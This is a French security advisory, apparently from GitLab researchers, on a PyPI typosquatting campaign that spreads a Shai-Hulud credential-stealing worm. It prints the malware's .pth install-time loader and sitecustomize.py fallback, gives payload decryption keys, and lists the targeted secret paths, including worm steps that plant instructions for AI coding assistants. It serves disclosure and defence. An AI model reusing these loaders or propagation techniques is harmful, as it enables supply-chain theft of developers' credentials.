Date de publication : 15 juin 2026

Temps de lecture : 10 min

Une campagne imitant Shai-Hulud cible les développeurs Python via le typosquatting PyPI

L'équipe Vulnerability Research de GitLab a découvert une attaque de la chaîne d'approvisionnement Python sur PyPI, qui déploie le ver Shai-Hulud pour dérober des identifiants provenant des systèmes CI/CD.

L'équipe Vulnerability Research de GitLab a identifié une attaque coordonnée de la chaîne d'approvisionnement sur PyPI, qui déploie une copie du logiciel malveillant Shai-Hulud. Nous avons découvert cinq paquets malveillants : quatre paquets typosquattés imitant Flask, Requests et NumPy, ainsi qu'un projet légitime détourné à des fins malveillantes. Ces paquets exécutent du code au moment de l'installation, sans nécessiter d'importation ni d'appel de fonction, et contiennent un voleur d'identifiants à propagation automatique qui cible les environnements CI/CD de tous les principaux fournisseurs cloud.

Nous avons confirmé que GitLab n'utilisait aucun des paquets concernés et partageons nos conclusions afin d'aider l'ensemble de la communauté à réagir efficacement.

Les coulisses de l'attaque

Le 7 juin 2026, nos systèmes de surveillance ont signalé cinq paquets PyPI malveillants provenant d'un même compte (elitexp). Quatre d'entre eux sont des paquets typosquattés :

  • rlask et tlask, des paquets typosquattés de Flask
  • rsquests, un paquet typosquatté de Requests
  • nhmpy, un paquet typosquatté de NumPy

Le cinquième, mflux-streamlit, est un projet légitime avec de véritables utilisateurs, que l'attaquant a détourné en publiant les versions malveillantes 0.0.3 et 0.0.4 après la vague de typosquatting.

L'attaquant a d'abord publié des versions « de reconnaissance » saines, avec des numéros de version correspondant exactement aux dernières versions officielles (Flask 3.1.3, Requests 2.34.2 et NumPy 2.4.6). Une fois ces versions indexées sans incident, l'attaquant a déployé de nouvelles versions intégrant la charge utile du ver.

Il s'agit d'un déploiement de type « copycat ». TeamPCP, le groupe à l'origine de Shai-Hulud, a publié le code du ver en open source le 12 mai 2026. Depuis, nous suivons des acteurs indépendants qui s'emparent de cette boîte à outils pour la diriger vers de nouvelles cibles. Cette campagne introduit ce même ver dans l'écosystème Python.

Analyse technique

Vecteur d'infection initial

La variante npm d'origine utilisait un script preinstall. Cette campagne adopte une approche différente : elle exploite le mécanisme des fichiers .pth de Python. Les paquets wheel peuvent inclure des fichiers .pth que Python traite automatiquement au démarrage, sans nécessiter d'importation explicite. Chaque paquet malveillant inclut un fichier du type rlask-setup.pth contenant un injecteur sur une seule ligne :

      import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

    

L'injecteur vérifie la présence d'un fichier marqueur (.bun_ran dans le répertoire temporaire du système) pour éviter une nouvelle exécution, puis télécharge l'environnement d'exécution JavaScript Bun depuis GitHub et l'utilise pour exécuter une charge utile JavaScript obfusquée de 5 Mo intégrée au paquet.

Les premières versions de rlask incluaient également un fichier sitecustomize.py comme chemin d'exécution de secours. Python importe automatiquement sitecustomize au démarrage, et ce fichier parcourt sys.path à la recherche de la charge utile cachée _index.js :

      import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

    

L'attaquant a abandonné ce mécanisme de secours dans les versions ultérieures, estimant que l'approche par fichier .pth lui paraissait manifestement suffisante à elle seule.

Obfuscation de la charge utile

La charge utile JavaScript est encapsulée en trois couches :

  1. Un chiffrement par substitution ROT-N appliqué à un tableau d'entiers (la valeur de rotation varie selon le paquet : ROT-13 pour [email protected], ROT-17 pour rsquests, ROT-25 pour tlask)
  2. Un chiffrement AES-128-GCM avec des clés codées en dur, produisant deux blobs chiffrés
  3. Une altération standard des noms de variables (obfuscation par préfixe _0x) sur la charge utile interne

Nous avons déchiffré la charge utile par analyse statique, sans exécuter aucun code. Le premier blob (907 octets) est le téléchargeur de l'environnement d'exécution Bun. Le second blob (772 Ko) est le voleur d'identifiants Shai-Hulud complet, contenant 2 538 chaînes codées en dur.

Pour les chercheurs souhaitant mener leur propre analyse, voici les clés de déchiffrement AES :

CoucheCléIV
Téléchargeur Bunc95506221d18936328fbc7ddcd21e3dd48da5faeafac0ac88a410bb0
Charge utile du ver7557c4e782a0622159476d1ea10d523655a7d25e0e61b77cc175bcc3

Collecte d'identifiants

Une fois lancé, le ver s'attaque aux identifiants sur toutes les principales plateformes cloud et CI/CD :

  • GitHub Actions : GITHUB_TOKEN, jetons d'accès personnels, jetons à granularité fine, jetons OIDC, secrets d'organisation et de dépôt, artefacts Actions et mémoire des processus du runner
  • AWS : clés d'accès IAM, clés secrètes, jetons de session, identifiants d'instance IMDS (169[.]254[.]169[.]254), entrées Secrets Manager, paramètres SSM, jetons de fédération STS
  • Azure : secrets client, jetons d'identité gérée, secrets Key Vault, identifiants fédérés, jetons d'API Microsoft Graph
  • GCP : clés de compte de service, identifiants par défaut d'application, jetons de portée de la plateforme cloud
  • HashiCorp Vault : jetons Vault provenant de sept chemins d'accès connus au système de fichiers (/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token et autres), ainsi que l'accès à l'API et l'authentification Vault via Kubernetes
  • npm / JFrog : jetons npm, clés d'API JFrog/Artifactory, échange de jetons OIDC
  • PyPI : jetons de publication, jetons émis via OIDC
  • RubyGems : clés d'API, identifiants de publication de gems
  • SSH : clés privées pour les mouvements latéraux
  • Kubernetes : jetons de compte de service, fichiers kubeconfig
  • Sigstore : jetons OIDC et certificats de signature Fulcio, qui permettraient à l'attaquant de signer des artefacts sous une identité de confiance
  • Bases de données : chaînes de connexion MongoDB, MySQL, PostgreSQL et Redis avec mots de passe intégrés

Auto-propagation

À l'image de la variante npm d'origine, il ne s'agit pas d'un simple voleur. Il se propage. À l'aide des identifiants dérobés, le ver :

  • Effectue des commits .github/setup.js et des fichiers de workflow vers des dépôts GitHub accessibles, ce qui provoque sa réexécution dans d'autres pipelines CI
  • Injecte des fichiers .github/copilot-instructions.md pour compromettre les assistants de code d'IA
  • Publie des paquets compromis supplémentaires sur PyPI, npm et RubyGems à l'aide de jetons de registre volés
  • Tente une élévation de privilèges sur les runners CI auto-hébergés par injection de règles sudoers
  • Vérifie la présence de harden-runner de StepSecurity et ajuste son comportement en conséquence

L'attaquant

Les cinq paquets appartiennent au compte PyPI elitexp. Ce compte a été créé en novembre 2024 avec un paquet légitime (mflux-streamlit, une interface utilisateur Streamlit pour la génération d'images avec 11 étoiles sur GitHub). Le compte GitHub associé (github[.]com/elitexp) existe depuis plus de 13 ans et compte 43 dépôts publics, dont des travaux universitaires et des projets Laravel.

Les métadonnées de téléchargement montrent que tous les paquets ont été publiés en utilisant Bun/1.3.14 comme agent utilisateur, soit le même environnement d'exécution que le logiciel malveillant télécharge dans sa chaîne d'exécution.

L'attaquant a également détourné mflux-streamlit. Les versions 0.0.1 et 0.0.2 sont saines, mais les versions 0.0.3 et 0.0.4, publiées respectivement à 15:23 et 15:37 UTC après la campagne de typosquatting, contiennent le même injecteur .pth et la même charge utile obfusquée. Cela rend l'attaque plus dangereuse qu'un typosquatting classique : mflux-streamlit est un véritable projet doté d'utilisateurs existants, susceptibles de recevoir la mise à jour malveillante par le biais de la résolution normale des dépendances.

Indicateurs de compromission

TypeIndicateurDescription
Paquetrlask 3.1.4-3.1.7Paquet typosquatté malveillant de Flask
Paquettlask 3.1.4Paquet typosquatté malveillant de Flask
Paquetrsquests 2.34.3Paquet typosquatté malveillant de Requests
Paquetnhmpy 2.4.7Paquet typosquatté malveillant de NumPy
Paquetmflux-streamlit 0.0.3, 0.0.4Paquet légitime détourné à des fins malveillantes
Fichier{package}-setup.pthInjecteur à exécution automatique (SHA256 : 6506d317...)
Fichiersitecustomize.pyExécution automatique de secours (présent uniquement dans rlask)
Fichier{package}/_index.jsCharge utile du ver obfusquée (5,2 Mo)
Fichier.bun_ranMarqueur d'exécution dans le répertoire temporaire du système
Réseauhxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zipTéléchargement de l'environnement d'exécution Bun
Réseauhxxps[://]upload[.]pypi[.]org/legacy/Publication de paquets PyPI compromis par le ver
Réseauhxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/Vol d'identifiants AWS IMDS
Réseauhxxps[://]login[.]microsoftonline[.]com/Acquisition de jetons Azure AD
Réseauhxxps[://]fulcio[.]sigstore[.]devDemande de certificat Sigstore
Acteurelitexp (PyPI)Propriétaire des paquets
ActeurBun/1.3.14Agent utilisateur de publication

Que faire si vous êtes concerné

Si l'un de ces paquets a été installé dans votre environnement :

  1. Supprimez immédiatement le paquet et vérifiez la présence du fichier marqueur .bun_ran dans le répertoire temporaire de votre système.
  2. Renouvelez tous les identifiants accessibles à l'environnement dans lequel le paquet a été installé. Cela inclut les jetons CI/CD, les identifiants de fournisseurs cloud, les clés SSH et les jetons de publication de registre.
  3. Vérifiez vos dépôts GitHub à la recherche de commits inattendus, en particulier les fichiers correspondant à .github/setup.js, .github/copilot-instructions.md, ou les fichiers de workflow modifiés.
  4. Vérifiez vos comptes de registres de paquets (PyPI, npm, RubyGems) pour voir s'il y a des paquets que vous n'avez pas publiés.
  5. Examinez les job logs de pipeline CI/CD à la recherche de téléchargements Bun ou d'exécutions JavaScript inattendus.

Chronologie

DateÉvénement
12/05/2026Publication du ver Shai-Hulud en open source par TeamPCP
07/06/2026 13:47 UTCPublication des versions de reconnaissance ([email protected], [email protected])
07/06/2026 14:20 UTCPremière version malveillante ([email protected]), détectée en 28 secondes
07/06/2026 14:24 UTCAnalyse automatisée terminée, signalée comme malveillante/critique
07/06/2026 14:27-15:04 UTCPublication de six nouvelles versions malveillantes sur l'ensemble des quatre noms de paquets
07/06/2026 15:23-15:37 UTCDétournement du paquet légitime mflux-streamlit (v0.0.3, v0.0.4) par l'attaquant
07/06/2026Confirmation de la présence du ver Shai-Hulud complet par analyse statique lors de l'enquête
07/06/2026 16:01 UTCSignalement de tous les paquets malveillants à l'équipe de sécurité de PyPI
08/06/2026 03:15:06 UTCAjout de l'avis à la base de données d'avis de sécurité de GitLab
08/06/2026Retrait de toutes les versions des paquets malveillants par PyPI

Comment GitLab peut vous aider à détecter ces paquets

Si vous utilisez GitLab Ultimate, vous pouvez recourir à l'analyse des dépendances pour détecter automatiquement l'exposition à ces paquets dans vos projets. Nous avons publié des avis (de GMS-2026-572 à GMS-2026-576) couvrant les cinq paquets dans la base de données d'avis de sécurité de GitLab. Une fois ces avis intégrés, tout projet où l'analyse des dépendances est activée signalera ces paquets dans les résultats du pipeline et dans le rapport de vulnérabilités.

Pour les équipes qui gèrent un grand nombre de dépôts, GitLab Duo Chat associé à l'agent Security Analyst peut aider à effectuer un classement rapide. Posez par exemple des questions comme :

  • « Certaines de mes dépendances sont-elles affectées par la campagne Shai-Hulud sur PyPI ? »
  • « Ce projet contient-il des dépendances Python malveillantes ? »

Perspectives

Nous nous attendions à cette campagne après la publication en open source du ver Shai-Hulud par TeamPCP en mai dernier. Des acteurs indépendants se sont emparés de la boîte à outils et la déploient dans de nouveaux écosystèmes. La variante Python utilise un vecteur d'infection initial différent (fichiers .pth au lieu de scripts preinstall), mais contient le même code de collecte d'identifiants et d'auto-propagation en arrière-plan.

Nos systèmes de surveillance continuent de suivre les déploiements par imitation sur npm, PyPI et d'autres registres. Nous mettrons à jour cet article à mesure que de nouvelles informations seront disponibles.

Retrouvez d'autres articles de l'équipe Vulnerability Research sur notre page Laboratoires de sécurité.

Donnez-nous votre avis

Cet article de blog vous a plu ? Vous avez des questions ou des retours à nous faire ? Donnez votre avis en créant un nouveau sujet sur le forum de la communauté GitLab.

Faites-nous part de vos commentaires

Commencez à développer plus rapidement dès aujourd'hui

Découvrez ce que votre équipe peut accomplir avec la plateforme d'orchestration intelligente pour le DevSecOps.